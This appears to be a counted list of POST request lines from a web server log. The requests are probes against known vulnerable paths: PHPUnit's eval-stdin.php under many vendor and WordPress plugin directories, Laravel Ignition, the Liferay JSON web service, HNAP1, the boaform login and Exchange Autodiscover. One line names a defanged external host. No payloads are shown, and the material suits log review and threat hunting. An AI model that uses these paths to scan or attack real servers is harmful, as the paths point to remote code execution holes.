1 POST //phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
1 POST //phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
1 POST //protected/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
1 POST //sites/all/libraries/mailchimp/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
1 POST //vendor/phpunit/Util/PHP/eval-stdin.php HTTP/1.1
1 POST //vendor/phpunit/phpunit/Util/PHP/eval-stdin.php HTTP/1.1
1 POST //vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
1 POST //vendor/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
1 POST //wp-content/plugins/cloudflare/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
1 POST //wp-content/plugins/dzs-videogallery/class_parts/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
1 POST //wp-content/plugins/jekyll-exporter/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
1 POST //wp-content/plugins/mm-plugin/inc/vendors/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
1 POST //www/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
2 POST /Autodiscover/Autodiscover.xml HTTP/1.1
2 POST /HNAP1/ HTTP/1.0
1 POST /_ignition/execute-solution HTTP/1.1
2 POST /api/jsonws/invoke HTTP/1.1
3 POST /boaform/admin/formLogin HTTP/1.1
3 POST /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
1 POST http[:]//lisalancaster[.]site/f8cd3d509bcbecd2432e0bb8a75ade5182069d5f999ec73c918ce26021cc335292f179e8aa70a2217f0419830bcc87ac4030a385f7109fe268c0a1c51f11668e2d036f86f547319b88144828f9f153236183c0f6ec407a29a52185c6b3d3ad91 HTTP/1.1